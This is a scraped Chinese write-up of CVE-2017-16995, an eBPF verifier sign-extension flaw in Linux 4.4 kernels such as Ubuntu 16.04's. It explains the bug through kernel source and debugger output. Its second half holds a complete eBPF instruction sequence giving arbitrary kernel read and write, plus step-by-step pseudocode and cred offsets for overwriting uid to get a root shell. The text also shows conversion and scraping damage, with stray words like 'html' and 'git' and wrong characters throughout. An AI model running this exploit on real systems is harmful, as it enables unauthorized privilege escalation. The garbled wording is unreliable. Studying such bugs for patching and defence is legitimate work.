【CVE-2017-16995】Linux ebpf模塊整數擴展問題致使提權漏洞分析

可對特定內核版本的ubuntu 16.04進行提權,本漏洞不包含堆棧攻擊或控制流劫持,僅用系統調用數據進行提權,是Data-Oriented Attacks在linux內核上的一個典型應用。html

v4.4.110在線閱讀源碼鏡像和調試文件下載linux

1、技術分析

1. eBPF簡介

衆所周知,linux的用戶層和內核層是隔離的,想讓內核執行用戶的代碼,正常是須要編寫內核模塊,固然內核模塊只能root用戶才能加載。而BPF則至關因而內核給用戶開的一個綠色通道:BPF(Berkeley Packet Filter)提供了一個用戶和內核之間代碼和數據傳輸的橋樑。用戶能夠用eBPF指令字節碼的形式向內核輸送代碼,並經過事件(如往socket寫數據)來觸發內核執行用戶提供的代碼;同時以map(key,value)的形式來和內核共享數據,用戶層向map中寫數據,內核層從map中取數據,反之亦然。BPF設計初衷是用來在底層對網絡進行過濾,後續因爲他能夠方便的向內核注入代碼,而且還提供了一套完整的安全措施來對內核進行保護,被普遍用於抓包(tcpdump/wireshark)、內核probe、性能監控等領域。BPF發展經歷了2個階段,cBPF(classic BPF)eBPF(extend BPF)(linux內核3.15之後),cBPF已退出歷史舞臺,後文提到的BPF默認爲eBPF。git

2. eBPF虛擬指令系統

寄存器——eBPF虛擬指令系統屬於RISC(每條指令長度同樣),擁有10個虛擬寄存器,r0-r10,在實際運行時,虛擬機會把這10個寄存器一一對應於硬件CPU的10個物理寄存器,以x64爲例,對應關係以下:github

R0 – rax (函數返回值)
    R1 - rdi (參數)
    R2 - rsi (參數)
    R3 - rdx (參數)
    R4 - rcx (參數)
    R5 - r8  (參數)
    R6 - rbx
    R7 - r13
    R8 - r14
    R9 - r15
    R10 – rbp(只讀,棧指針,frame pointer)

指令格式以下:ubuntu

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

和seccomp相似,程序功能由code字節決定,最低3位表示大類功能,共7類大功能c#

#define BPF_CLASS,
(code) ((code) & 0x07)
#define     BPF_LD      0x00 
#define     BPF_LDX     0x01
#define     BPF_ST      0x02
#define     BPF_STX     0x03
#define     BPF_ALU     0x04
#define     BPF_JMP     0x05
#define     BPF_RET     0x06
#define     BPF_MISC  0x07

各大類功能可經過異或組成不一樣的新功能dst_reg表明目的寄存器,限制爲0-10;src_reg表明目的寄存器,限制爲0-10;off表明地址偏移;imm表明當即數。api

例如一條簡單的x86指令:mov esi,0xffffffff,對應BPF指令爲BPF_MOV32_IMM(BPF_REG_2, 0xffffffff),對應數據結構爲:安全

#define BPF_MOV32_IMM(DST, IMM)                    \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,        \
        .dst_reg = DST,                    \
        .src_reg = 0,                    \
        .off   = 0,                    \
        .imm   = IMM })

在內存中的值爲:\xb4\x02\x00\x00\xff\xff\xff\xffbash

編碼解碼器——參見p4nda師傅寫的解碼編碼小工具,能夠用來翻譯或者輔助編寫EBPF程序。網絡

3.BPF加載過程

(1)syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))—申請一個map結構,這個結構是用戶態與內核態交互的一塊共享內存,在attr結構體中指定map的類型、大小、最大容量。

內核態調用BPF_FUNC_map_lookup_elem查看map中的數據,用戶態經過syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))查看map中的數據。

syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))—對map數據進行更新,而map根據linux特性,會將其視爲一個文件,並分配一個文件描述符。

(2)syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))—將用戶編寫的EBPF代碼加載進入內核,採用模擬執行對代碼進行合法性檢查,attr結構體中包含了指令數量、指令首地址指針、日誌級別等屬性。

合法性檢查包括對指定語法的檢查、指令數量的檢查、指令中的指針和當即數的範圍及讀寫權限檢查,禁止將內核中的地址暴露給用戶空間,禁止對BPF程序stack以外的內核地址讀寫。安全校驗經過後,程序被成功加載至內核,後續真正執行時,再也不重複作檢查。

(3)setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)—將咱們寫的BPF程序綁定到指定的socket上,progfd爲上一步驟的返回值。

(4)用戶程序經過操做上一步驟中的socket來觸發BPF真正執行。此後對於每個socket數據包執行EBPF代碼進行檢查,此時爲真實執行。

例如

static void prep(void) {
    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
    if (mapfd < 0)
        __exit(strerror(errno));
    puts("mapfd finished");
    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
            (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);//__prog代碼

    if (progfd < 0)
        __exit(strerror(errno));
    puts("bpf_prog_load finished");
    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
        __exit(strerror(errno));
    puts("socketpair finished");
    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
        __exit(strerror(errno));
    puts("setsockopt finished");
}

4. 漏洞

本漏洞的緣由是check函數和真正的函數的執行方法不一致致使的,主要問題是兩者寄存器值類型不一樣。先看下面一段EBPF指令:

[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF   */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) {        */
[2]: ALU64_MOV_K(0,0,0x0,0x0)      /*   exit(0);             */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: ......
     ......
(1)安全檢查

[0]—將0xffffffff賦值給r9寄存器,在do_check()安全檢查函數中,[0]處會直接將0xffffffff賦值給r9,並將type賦值爲IMM。

[1]—比較r9==0xffffffff,相等是就執行[2]、[3],不相等則跳到[4]。根據前文對退出的分析,這個地方在do_check()看來是一個恆等式(肯定性跳轉),不會將另外一條路徑壓入stack,直接退出。do_check()返回成功。

check_cond_jmp_op() do_check()

// do_check() -> 對除開 class== BPF_JMP 類型的jmp(CALL/JA/EXIT),調用 check_cond_jmp_op()
/* detect if R == 0 where R was initialized to zero earlier */
    if (BPF_SRC(insn->code) == BPF_K &&
        (opcode == BPF_JEQ || opcode == BPF_JNE) &&
        regs[insn->dst_reg].type == CONST_IMM &&
        regs[insn->dst_reg].imm == insn->imm) { //1.比較指令
        if (opcode == BPF_JEQ) {
            /* if (imm == imm) goto pc+off;
             * only follow the goto, ignore fall-through
             */
            *insn_idx += insn->off;
            return 0;
        } else {  // 2.跳轉指令恆成立,不壓棧目標指令(分支B永不執行),直接返回
            /* if (imm != imm) goto pc+off;
             * only follow fall-through branch, since
             * that's where the program will go
             */
            return 0;
        }
    }
  // 3.非肯定性跳轉,把目標指令壓入臨時棧備用
    other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);
    if (!other_branch)
        return -EFAULT;

虛擬寄存器中的imm與指令中提供的imm

//都爲有符號整數,因此此處條件跳轉條件恆成立,不會往臨時棧中push分支B指令編號。
struct reg_state {
    enum bpf_reg_type type;
    union {
        /* valid when type == CONST_IMM | PTR_TO_STACK */
        int imm; //  <-------------- 有符號整數

        /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
        struct bpf_map *map_ptr;
    };
};

/* BPF has 10 general purpose 64-bit registers and stack frame. */
#define MAX_BPF_REG __MAX_BPF_REG

struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant *///<--------有符號整數
};

執行到EXIT指令。會從臨時棧中嘗試取指令(調用pop_stack函數),若是臨時棧中有指令,那就說明還有其餘可能執行到的分支,須要繼續校驗,若是取不到值,表示當前這條EXIT指令確實是BPF程序最後一條能夠執行到的指令,此時pop_stack會返回-1,而後break跳出do_check校驗循環,do_check執行結束,校驗經過。

// do_check()
else if (opcode == BPF_EXIT) {
                if (BPF_SRC(insn->code) != BPF_K ||
                    insn->imm != 0 ||
                    insn->src_reg != BPF_REG_0 ||
                    insn->dst_reg != BPF_REG_0) {
                    verbose("BPF_EXIT uses reserved fields\n");
                    return -EINVAL;
                }

                /* eBPF calling convetion is such that R0 is used
                 * to return the value from eBPF program.
                 * Make sure that it's readable at this time
                 * of bpf_exit, which means that program wrote
                 * something into it earlier
                 */
                err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
                if (err)
                    return err;

                if (is_pointer_value(env, BPF_REG_0)) {
                    verbose("R0 leaks addr as return value\n");
                    return -EACCES;
                }

process_bpf_exit:
                insn_idx = pop_stack(env, &prev_insn_idx); //彈出指令
                if (insn_idx < 0) {
                    break;   // 返回-1,表示沒有指令
                } else {
                    do_print_state = true;
                    continue;
                }
  ......
  return 0;
(2)真實執行

真實執行的時候,因爲一個符號擴展的bug,致使 [1] 中的等式不成立,因而cpu就跳轉到第5條指令繼續執行,這裏是漏洞產生的根因,這4條指令,能夠繞過BPF的代碼安全檢查。既然安全檢查被繞過了,用戶就能夠隨意往內核中注入代碼了,提權就水到渠成了:先獲取到task_struct的地址,而後定位到cred的地址,而後定位到uid的地址,而後直接將uid的值改成0,而後啓動/bin/bash。

而在真實執行的過程當中,因爲寄存器類型不同,在執行[1]時存在問題:

__bpf_prog_run()

//bpf_prog_load() -> bpf_prog_select_runtime()真實執行 -> __bpf_prog_run()    真實執行中對JMP_JNE_K指令的定義
JMP_JNE_K:
    if (DST != IMM) {
        insn += insn->off;
        CONT_JMP;
    }
    CONT;

//其中DST爲目標寄存器,IMM爲當即數。很顯然,符號兩邊數據類型不一致,致使條件跳轉語句的結果徹底相反。
//DST
#define DST regs[insn->dst_reg]  ///kernel/bpf/core.c#L47
static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
    u64 stack[MAX_BPF_STACK / sizeof(u64)];
    u64 regs[MAX_BPF_REG], tmp;    // 是u64類型,無符號64位
//IMM
#define IMM insn->imm            // /kernel/bpf/core.c#L52
struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant *///<--------有符號整數
};

看彙編更明顯:

0xffffffff81173bad <__bpf_prog_run+1565>    mov    qword ptr [rbp + rax*8 - 0x278], rdi
   0xffffffff81173bb5 <__bpf_prog_run+1573>    movzx  eax, byte ptr [rbx]
   0xffffffff81173bb8 <__bpf_prog_run+1576>    jmp    qword ptr [r12 + rax*8]
    ↓
   0xffffffff81173e7b <__bpf_prog_run+2283>    movzx  eax, byte ptr [rbx + 1]
   0xffffffff81173e7f <__bpf_prog_run+2287>    movsxd rdx, dword ptr [rbx + 4]
 ► 0xffffffff81173e83 <__bpf_prog_run+2291>    and    eax, 0xf
   0xffffffff81173e86 <__bpf_prog_run+2294>    cmp    qword ptr [rbp + rax*8 - 0x278], rdx
   0xffffffff81173e8e <__bpf_prog_run+2302>    je     __bpf_prog_run+5036 <0xffffffff8117493c>
 
   0xffffffff81173e94 <__bpf_prog_run+2308>    movsx  rax, word ptr [rbx + 2]
   0xffffffff81173e99 <__bpf_prog_run+2313>    lea    rbx, [rbx + rax*8 + 8]
   0xffffffff81173e9e <__bpf_prog_run+2318>    movzx  eax, byte ptr [rbx]
───────────────────────────────────[ BACKTRACE ]────────────────────────────────────
 ► f 0 ffffffff81173e83 __bpf_prog_run+2291
   f 1 ffffffff817272bc sk_filter_trim_cap+108
   f 2 ffffffff817272bc sk_filter_trim_cap+108
   f 3 ffffffff817b824a unix_dgram_sendmsg+586
   f 4 ffffffff817b824a unix_dgram_sendmsg+586
   f 5 ffffffff816f4728 sock_sendmsg+56
   f 6 ffffffff816f4728 sock_sendmsg+56
   f 7 ffffffff816f47c5 sock_write_iter+133
   f 8 ffffffff8120cf59 __vfs_write+201
   f 9 ffffffff8120cf59 __vfs_write+201
   f 10 ffffffff8120d5d9 vfs_write+169
pwndbg> i r rdx
rdx            0xffffffffffffffff   -1
pwndbg> x /gx $rbx+4
0xffffc90000099034: 0x000000b7ffffffff
pwndbg>

能夠看到彙編指令被翻譯成movsxd,而此時會發生符號擴展,由原來的0xffffffff擴展成0xffffffffffffffff,再次比較的時候兩者並不相同,形成了跳轉到[4]處執行,從而繞過了對[4]之後EBPF程序的校驗。


2、漏洞利用

思路:[4]之後的程序不通過check,就能夠任意執行指令,可構造任意地址讀寫。也即提早構造3個map,分別放置3個值,而後讀到r6/r7/r8寄存器中(r6爲0表示任意讀,把r7指向的值讀到r8;r6爲1表示讀rbp,泄露內核棧地址;r6爲2表示任意寫,把r8寫到r7地址)。

[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF   */
[1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) {        */
[2]: ALU64_MOV_K(0,0,0x0,0x0)      /*   exit(0);             */
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)        /* r9=mapfd               */
[5]: maybe padding // 以存放mapfd地址

//1.BPF_MAP_GET(0, BPF_REG_6)  r6=op,取map的第1個元素放到r6
[6]: ALU64_MOV_X(9,1,0x0,0x0)      /* r1 = r9                */
[7]: ALU64_MOV_X(10,2,0x0,0x0)     /* r2 = fp                */
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[9]: ST_MEM_W(0,10,0xfffc,0x0)     /* *(u32 *)(fp - 4) = 0 */
[10]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[11]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[12]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[13]: LDX_MEM_DW(0,6,0x0,0x0)     /* r6 = *(u64 *)(r0)   */

//2.BPF_MAP_GET(1, BPF_REG_7)  r7=address,取map的第2個元素放到r7
[14]: ALU64_MOV_X(9,1,0x0,0x0)    /* r1 = r9                */
[15]: ALU64_MOV_X(10,2,0x0,0x0)   /* r2 = fp                */
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[17]: ST_MEM_W(0,10,0xfffc,0x1)   /* *(u32 *)(fp - 4) = 1 */
[18]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[19]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[20]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[21]: LDX_MEM_DW(0,7,0x0,0x0)     /* r7 = *(u64 *)(r0)   */

//3.#BPF_MAP_GET(2, BPF_REG_8)  r8=value,取map的第3個元素放到r8
[22]: ALU64_MOV_X(9,1,0x0,0x0)    /* r1 = r9                */
[23]: ALU64_MOV_X(10,2,0x0,0x0)   /* r2 = fp                */
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4            */
[25]: ST_MEM_W(0,10,0xfffc,0x2)   /* *(u32 *)(fp - 4) = 2 */
[26]: JMP_CALL(0,0,0x0,0x1)//#BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem)
[27]: JMP_JNE_K(0,0,0x1,0x0)      /* if (r0 == 0)           */
[28]: JMP_EXIT(0,0,0x0,0x0)       /*   exit(0);             */
[29]: LDX_MEM_DW(0,8,0x0,0x0)     /* r8 = *(u64 *)(r0)   */

[30]: ALU64_MOV_X(0,2,0x0,0x0)    /* r2 = r0               */
[31]: ALU64_MOV_K(0,0,0x0,0x0)    /* r0 = 0  for exit(0)   */
[32]: JMP_JNE_K(0,6,0x3,0x0)      /* if (r6 != 0) jmp to 36 */
[33]: LDX_MEM_DW(7,3,0x0,0x0)     /* r3 = [r7]             */
[34]: STX_MEM_DW(3,2,0x0,0x0)     /* [r2] = r3             */
[35]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0)               */
[36]: JMP_JNE_K(0,6,0x2,0x1)      /* if (r6 != 1) jmp to 39 */
[37]: STX_MEM_DW(10,2,0x0,0x0)    /* [r2]=rbp             */
[38]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0);             */
[39]: STX_MEM_DW(8,7,0x0,0x0)     /* [r7]=r8              */
[40]: JMP_EXIT(0,0,0x0,0x0)       /* exit(0);             */

1. 指令分析

[4]-[5]:由bpf代碼閱讀可知,獲取mapfd地址,[5]是填充;完成後map地址複製給r9。

[6]-[13]:調用BPF_FUNC_map_lookup_elem(map_add,idx),並將返回值存到r6寄存器中,即r6=map[0]。

[14]-[21]:r7=map[1]。

[22]-[29]:r8=map[2]。 map[0]/map[1]/map[2]用戶可控。

[30]-[40]:map[0]==0,將map[1]指向的值寫入map[2],任意讀;map[0]==1,將rbp值寫入map[2],泄露棧地址;map[0]==2,將map[2]寫入map[1]地址中,任意寫。

2.利用步驟

1.申請一個MAP,長度爲3;
2.這個MAP的第一個元素爲操做指令,第2個元素爲須要讀寫的內存地址,第3個元素用來存放讀取到的內容。此時這個MAP至關於一個CC,3個元素組成一個控制指令。
3.組裝一個指令,讀取內核的棧地址 addr。根據內核棧地址獲取到current的地址(addr & ~(0x4000 - 1))。
4.讀current結構體的第一個成員,得到task_struct的地址,繼而加上cred的偏移(task_struct_addr+0x5f8)獲得cred地址,最終獲取到uid的地址(cred_addr+4)。
5.組裝一個寫指令,向上一步獲取到的uid地址寫入0.
6.啓動新的bash進程,該進程的uid爲0,提權成功。

說明:我理解的current指針實際上就是內核棧最低地址,最低地址存放thread_info結構,thread_info結構第一個成員是task_struct指針。

Exp中就是按照如上的攻擊路徑來提權的,申請完map以後,首先發送獲取內核棧地址的指令,以下:

bpf_update_elem(0, 1);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);

而後經過調用writemsg觸發BPF程序運行。

//漏洞利用僞代碼:
update_map_012(1,0,0); 
stack_addr= get_map(2);                   // 0xffff8800758c3c88
current_addr=stack_addr  & ~(0x4000 - 1); // 0xffff8800758c0000
update_map_012(0,current_addr,0);
task_addr = get_map(2);                   // 0xffff880074343c00              
update_map_012(0,task_addr+0x5f8,0);        
cred_addr = get_map(2)+0x4;               // 0xffff880074cb5e00+4
update_map_012(2,cred_addr,0);            // 提權!

3.問題

注意:

  • cred地址偏移可能不一樣。4.4.0-116-generic中是0x5f8v4.4.110中是0x9b8
  • uid地址偏移可能不一樣。
  • 修改uid時,修改24字節才能真正執行特權操做(如cat /proc/kallsyms)。

命令:

# gdb中查找偏移(需符號信息)
pwndbg> p &(*(struct task_struct *)0).cred
$2 = (const struct cred **) 0x9b8 <irq_stack_union+2488>
pwndbg> p &(*(struct cred *)0).uid
$3 = (kuid_t *) 0x4 <irq_stack_union+4>
# gdb中確認偏移
(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 = (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 = (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00+0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800#和0xffff880074cb5e00一致

參考:

http://p4nda.top/2019/01/18/CVE-2017-16995/

http://www.javashuo.com/article/p-ufukyuyh-cp.html

相關文章
相關標籤/搜索